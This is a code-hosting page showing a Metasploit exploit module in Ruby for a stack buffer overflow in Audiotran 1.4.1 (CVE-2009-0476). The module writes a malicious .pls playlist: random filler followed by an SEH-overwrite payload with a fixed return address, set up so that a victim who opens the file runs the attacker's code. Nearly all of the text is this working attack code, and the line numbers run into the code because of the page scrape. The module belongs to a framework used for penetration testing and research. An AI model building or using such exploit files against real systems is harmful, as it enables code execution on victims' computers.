Path: blob/master/modules/exploits/windows/fileformat/audiotran_pls.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Audiotran 1.4.1 (PLS File) Stack Buffer Overflow',16'Description' => %q{17This module exploits a stack-based buffer overflow in Audiotran 1.4.1.18An attacker must send the file to victim and the victim must open the file.19Alternatively it may be possible to execute code remotely via an embedded20PLS file within a browser, when the PLS extension is registered to Audiotran.21This functionality has not been tested in this module.22},23'License' => MSF_LICENSE,24'Author' => [25'Sebastien Duquette',26'dookie',27],28'References' => [29[ 'CVE', '2009-0476'],30[ 'OSVDB', '55424'],31[ 'EDB', '11079' ],32],33'Payload' => {34'Space' => 6000,35'BadChars' => "\x00\x0a\x3d",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' => [40[ 'Windows Universal', { 'Ret' => 0x10101A3E } ], # p/p/r in rsaadjd.tmp41],42'Privileged' => false,43'DisclosureDate' => '2010-01-09',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),56]57)58end5960def exploit61sploit = rand_text_alpha_upper(1308)62sploit << generate_seh_payload(target.ret)63sploit << rand_text_alpha_upper(8000)6465print_status("Creating '#{datastore['FILENAME']}' file ...")6667file_create(sploit)68end69end707172